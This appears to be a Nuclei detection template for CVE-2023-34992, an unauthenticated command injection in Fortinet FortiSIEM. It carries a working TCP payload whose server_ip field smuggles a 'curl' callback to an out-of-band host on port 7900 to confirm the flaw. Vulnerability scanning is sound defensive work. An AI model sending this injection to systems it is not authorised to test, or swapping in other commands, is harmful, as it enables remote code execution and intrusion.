Fortinet FortiSIEM - Unauthenticated Command Injection

id: CVE-2023-34992

info:
  name: Fortinet FortiSIEM - Unauthenticated Command Injection
  author: thacien
  severity: critical
  description: |
    An improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiSIEM versions 7.1.0 through 7.1.1, 7.0.0 through 7.0.2, 6.7.0 through 6.7.8, 6.6.0 through 6.6.3, 6.5.0 through 6.5.2, and 6.4.0 through 6.4.3 allows an unauthenticated attacker to execute unauthorized code or commands via crafted API requests.
  impact: |
    Successful exploitation of this vulnerability could allow an unauthenticated attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to FortiSIEM version >=6.4.4, >=6.5.3, >=6.6.4, >=6.7.9, >=7.0.3, >=7.1.2
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34992
    - https://www.horizon3.ai/attack-research/disclosures/cve-2023-34992-fortinet-fortisiem-command-injection-deep-dive/
    - https://github.com/horizon3ai/CVE-2023-34992
    - https://fortiguard.com/psirt/FG-IR-23-130
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34992
    cwe-id: CWE-78
    epss-score: 0.65509
    epss-percentile: 0.99183
    cpe: cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fortinet
    product: fortisiem
  tags: cve,cve2023,fortisiem,network,fortinet,rce,tcp,unauth

variables:
  exploit: '<TEST_STORAGE type="nfs">\n    <server_ip>127.0.0.1; curl -k "{{interactsh_url}}";</server_ip>\n    <mount_point>/test</mount_point>\n</TEST_STORAGE>\n'
  payload: '{{"51000000" + dec_to_hex(len(exploit)) + "0000006f421e4000000000"}}'

tcp:
  - host:
      - "tls://{{Hostname}}"
    port: 7900

    inputs:
      - data: '{{hex_decode(payload) + exploit}}'
    read-size: 2048

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fc86c103cd601babc8fa62f7ac4e53289302792a79aa3bad001cfd37da4ddf7f022100a36980a6513a19d4c4aac37ddff0a9dee411b01fde67141af79ebaea42fab982:922c64590222798bb761d5b6d8e72950